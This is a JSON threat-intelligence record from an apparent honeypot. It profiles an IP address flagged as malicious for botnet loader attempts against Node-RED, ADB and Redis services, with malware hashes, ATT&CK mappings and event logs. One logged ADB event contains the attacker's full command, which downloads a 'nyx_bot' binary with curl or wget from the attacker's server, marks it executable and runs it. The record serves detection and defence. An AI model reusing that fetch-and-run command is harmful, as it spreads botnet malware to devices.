{"ip":"176.65.139.201","data_as_of":"2026-10-24T03:19:29+00:00","observed":true,"total_events":58,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"10 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["10 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","The same evidence places an address in the public exploiter feed.","One request that fetches a botnet binary is exploitation on its own, whatever the event count.","Not in any known-scanner range.","Sent 25,813 bytes, which is sustained payload delivery.","Counts include 20 interactive session(s) as well as first-packet events.","Interactive sessions: 4 interactive session(s) ran commands after logging in."],"engagement":{"level":"payload","label":"Sustained payload","detail":"25,813 bytes sent","bytes_sent":25813,"session_seconds":30,"persistent":false},"basis":"combined"},"first_seen":"2026-10-04T11:23:55","last_seen":"2026-10-23T18:43:10","events_24h":3,"events_7d":11,"interactive_sessions":20,"interactive_sessions_24h":0,"interactive_sessions_7d":20,"interactive_protocols":[{"protocol":"adb","sessions":12},{"protocol":"redis","sessions":7}],"geo":{"country_code":"DE","country_name":"Germany","region":"","city":"","lat":51.2993,"lon":9.491,"asn":219502,"org":"Storm Industries LLC"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"37eba2db655a9bfa784e18e83a686516619da262268e6ed66cbe3b23c4ce0845","family":"","vt_name":"nyx_bot_linux_amd64_packed","malicious":1,"total":75,"vt_status":"uploaded","delivery":"wget","url_path":"/flows","dest_port":1880,"hits":2,"last_seen":"2026-10-04 11:41:46"},{"sha256":"b39ff72e3e511f1e59f6206a3a0400cdf9bf811c21f1148617d6f97e41c1b047","family":"","vt_name":"","malicious":0,"total":75,"vt_status":"uploaded","delivery":"python-urllib","url_path":"/flows","dest_port":1880,"hits":2,"last_seen":"2026-10-04 19:27:05"},{"sha256":"5da5acdb8759fe324fabec7e2d25e8e11c3a51ed14d5d04d121c05050e1b7c91","family":"mirai","vt_name":"nyx_bot_linux_amd64_unpacked","malicious":2,"total":75,"vt_status":"uploaded","delivery":"wget","url_path":"/flows","dest_port":1880,"hits":2,"last_seen":"2026-10-04 15:07:57"},{"sha256":"0a5d7cded8fb6c6c8281f23c194e40666ad5620e7a75a005af9f1dd81fe4899c","family":"flooder","vt_name":"7qzmb.exe","malicious":7,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":5555,"hits":2,"last_seen":"2026-10-22 14:23:36"}],"udp":null,"interaction":{"window_days":90,"sessions":20,"first_seen":"2026-10-17T17:23:57","last_seen":"2026-10-22T15:50:36","verdicts":[{"verdict":"scan","sessions":10},{"verdict":"upload","sessions":5},{"verdict":"post-exploitation","sessions":4},{"verdict":"unknown","sessions":1}],"personas":[{"persona":"redis@6.2.14","sessions":7},{"persona":"adb@Android 9 TV box","sessions":7},{"persona":"adb@Android 7.1 TV box","sessions":5}],"services":[{"protocol":"adb","port":5555,"sessions":12},{"protocol":"redis","port":6379,"sessions":7},{"protocol":"tcp","port":9000,"sessions":1}],"logins":[],"commands":[],"downloads":[{"url":"[http]://176[.]65[.]139[.]201:80/$B","host":"176[.]65[.]139[.]201","sessions":5,"first_seen":"2026-10-21T16:22:16","last_seen":"2026-10-22T12:35:22","virustotal":null},{"url":"[http]://176[.]65[.]139[.]201:80/nyx_bot_linux_amd64_hkdf","host":"176[.]65[.]139[.]201","sessions":4,"first_seen":"2026-10-22T14:23:36","last_seen":"2026-10-22T15:50:36","virustotal":{"sha256":"0a5d7cded8fb6c6c8281f23c194e40666ad5620e7a75a005af9f1dd81fe4899c","status":"known","malicious":7,"total":75,"name":"7qzmb.exe"}}],"files":[{"sha256":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","name":"shell-1","size":8,"mime_type":"text/plain","kind":"adb-command","times":6,"first_seen":"2026-10-22T14:23:36","last_seen":"2026-10-22T15:50:35","virustotal":null},{"sha256":"668cbdd431333af72f7cc4edee6c900280679d2cd5d96507e998ebaa4cb9daac","name":"x","size":505,"mime_type":"text/plain","kind":"redis-value","times":5,"first_seen":"2026-10-21T16:22:16","last_seen":"2026-10-22T12:35:22","virustotal":null},{"sha256":"7787aebf877de447befd5ccf21a3f5b7f5eb9d9831c59a372fdf265a89718394","name":"shell-2","size":263,"mime_type":"text/plain","kind":"adb-command","times":4,"first_seen":"2026-10-22T14:23:36","last_seen":"2026-10-22T15:50:36","virustotal":null}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":14},{"technique_id":"T1190","technique_name":"Exploit Public-Facing Application","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":5},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":9}]},"top_ports":[{"port":1880,"proto":"tcp","label":"","count":57,"sessions":0},{"port":5555,"proto":"tcp","label":"","count":1,"sessions":12},{"port":6379,"proto":"tcp","label":"Redis","count":0,"sessions":7},{"port":9000,"proto":"tcp","label":"Web-alt","count":0,"sessions":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["b11cuq061_00050814_c8300273_x5cce","b10cun010_00040000_c4b2c4aa","b11cun050_00040017_976354f0","b11cun030_00040014_54d07b6d"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"b10cun010_00040000_c4b2c4aa":398,"b11cun050_00040017_976354f0":1245,"b11cun030_00040014_54d07b6d":3803,"b11cuq061_00050814_c8300273_x5cce":1},"akin_families":{},"user_agents":["python-requests/2.32.3","curl/8.12.1"],"timeline":[{"date":"2026-10-04","count":32,"sessions":0},{"date":"2026-10-05","count":5,"sessions":0},{"date":"2026-10-06","count":1,"sessions":0},{"date":"2026-10-13","count":7,"sessions":0},{"date":"2026-10-14","count":2,"sessions":0},{"date":"2026-10-17","count":0,"sessions":1},{"date":"2026-10-18","count":1,"sessions":0},{"date":"2026-10-21","count":2,"sessions":5},{"date":"2026-10-22","count":5,"sessions":14},{"date":"2026-10-23","count":3,"sessions":0}],"recent_events":[{"timestamp":"2026-10-23T18:43:10","port":1880,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"host\":\"<HONEYPOT>\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/settings","summary":"","payload_hex":"474554202f73657474696e677320485454502f312e300d0a486f73743a20<HONEYPOT>0d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"b492dfdd-5254-4653-b8ef-c1580c3637b4","seq":1,"duration_ms":100,"bytes_in":48,"bytes_out":79},{"timestamp":"2026-10-23T14:40:27","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0010\u0000\u0000\u0007\u0000\u0000\u00002\u0002\u0000\u0000����host::\u0000","payload_hex":"434e584e00000001001000000700000032020000bcb1a7b1686f73743a3a00","method":"","user_agent":"","ja3":"","session":"557a8dc4-a143-47f3-8c22-36fdc905816c","seq":1,"duration_ms":100,"bytes_in":31,"bytes_out":14,"enriched":{"digest":"6c0944affd4f5212","strings":["CNXN","host::"]}},{"timestamp":"2026-10-23T04:50:57","port":1880,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"host\":\"<HONEYPOT>\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/settings","summary":"","payload_hex":"474554202f73657474696e677320485454502f312e300d0a486f73743a20<HONEYPOT>0d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"926cd1f8-894d-46de-99ad-538052d1e484","seq":1,"duration_ms":100,"bytes_in":48,"bytes_out":79},{"timestamp":"2026-10-22T16:31:24","port":1880,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"host\":\"<HONEYPOT>\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/settings","summary":"","payload_hex":"474554202f73657474696e677320485454502f312e300d0a486f73743a20<HONEYPOT>0d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"7682300e-b9be-4636-99d3-558e2cbf97f8","seq":1,"duration_ms":100,"bytes_in":48,"bytes_out":79},{"timestamp":"2026-10-22T15:50:36","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OKAY�\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000����","payload_hex":"4f4b415983000000020000000000000000000000b0b4bea6","method":"","user_agent":"","ja3":"","session":"607de6a5-01b7-450a-9afc-062cd3e08647-10","seq":10,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"4b6d8e8d5a4168d8","strings":["OKAY"]},"interactive":true},{"timestamp":"2026-10-22T15:50:36","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CLSE�\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000����","payload_hex":"434c534583000000020000000000000000000000bcb3acba","method":"","user_agent":"","ja3":"","session":"607de6a5-01b7-450a-9afc-062cd3e08647-11","seq":11,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"55b7275bd63b67b2","strings":["CLSE"]},"interactive":true},{"timestamp":"2026-10-22T15:50:36","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPEN�\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0015\u0001\u0000\u0000\u0000\u0000\u0000\u0000����shell,v2,raw:cd /data/local/tmp; curl -fsSL -o .nx http://176.65.139.201:80/nyx_bot_linux_amd64_hkdf 2>/dev/null || wget -qO .nx http://176.65.139.201:80/nyx_bot_linux_amd64_hkdf 2>/dev/null; chmod 755 .nx; sh -c './.nx >/dev/null 2>&1 &' ; sleep 3; ls -la .nx 2>&1; echo DONE\u0000","payload_hex":"4f50454e83000000000000001501000000000000b0afbab17368656c6c2c76322c7261773a6364202f646174612f6c6f63616c2f746d703b206375726c202d6673534c202d6f202e6e7820687474703a2f2f3137362e36352e3133392e3230313a38302f6e79785f626f745f6c696e75785f616d6436345f686b646620323e2f6465762f6e756c6c207c7c2077676574202d714f202e6e7820687474703a2f2f3137362e36352e3133392e3230313a38302f6e79785f626f745f6c696e75785f616d6436345f686b646620323e2f6465762f6e756c6c3b2063686d6f6420373535202e6e783b207368202d6320272e2f2e6e78203e2f6465762f6e756c6c20323e2631202627203b20736c65657020333b206c73202d6c61202e6e7820323e26313b206563686f20444f4e4500","method":"","user_agent":"","ja3":"","session":"607de6a5-01b7-450a-9afc-062cd3e08647-8","seq":8,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"c97d7c28017a57dd","strings":["OPEN","shell,v2,raw:cd /data/local/tmp; curl -fsSL -o .nx http://176.65.139.201:80/nyx_…"],"iocs":{"urls":["http://176.65.139.201:80/nyx_…"],"ips":["176.65.139.201"],"paths":["/data/local/tmp"]}},"interactive":true},{"timestamp":"2026-10-22T15:50:36","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OKAYx\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000����","payload_hex":"4f4b415978000000010000000000000000000000b0b4bea6","method":"","user_agent":"","ja3":"","session":"607de6a5-01b7-450a-9afc-062cd3e08647-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"f2928cb53e0a95f4","strings":["OKAYx"]},"interactive":true},{"timestamp":"2026-10-22T15:50:36","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CLSEx\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000����","payload_hex":"434c534578000000010000000000000000000000bcb3acba","method":"","user_agent":"","ja3":"","session":"607de6a5-01b7-450a-9afc-062cd3e08647-6","seq":6,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"211c437a4c00fc97","strings":["CLSEx"]},"interactive":true},{"timestamp":"2026-10-22T15:50:35","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENx\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0000\u0000\u0000\u0000����shell,v2,raw:uname -m\u0000","payload_hex":"4f50454e78000000000000001600000000000000b0afbab17368656c6c2c76322c7261773a756e616d65202d6d00","method":"","user_agent":"","ja3":"","session":"607de6a5-01b7-450a-9afc-062cd3e08647-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"8f7b58b3e672cc70","strings":["OPENx","shell,v2,raw:uname -m"]},"interactive":true}],"http_methods":[{"method":"GET","count":44},{"method":"POST","count":13}],"distinct_ports_total":4,"top_paths":[{"path":"/flows","count":21,"ports":1},{"path":"/settings","count":18,"ports":1},{"path":"/","count":6,"ports":1},{"path":"/check","count":2,"ports":1},{"path":"/cleanstart","count":2,"ports":1},{"path":"/nyx","count":1,"ports":1},{"path":"/nk3","count":1,"ports":1},{"path":"/nyx2","count":1,"ports":1},{"path":"/d2","count":1,"ports":1},{"path":"/ka","count":1,"ports":1},{"path":"/n2","count":1,"ports":1},{"path":"/go","count":1,"ports":1},{"path":"/diag","count":1,"ports":1}],"distinct_paths_total":13,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Host"],"representative":[{"name":"Host","value":"<HONEYPOT>","notable":false}],"distinct_sets":1,"events_with_headers":3},"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":4},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":9}]}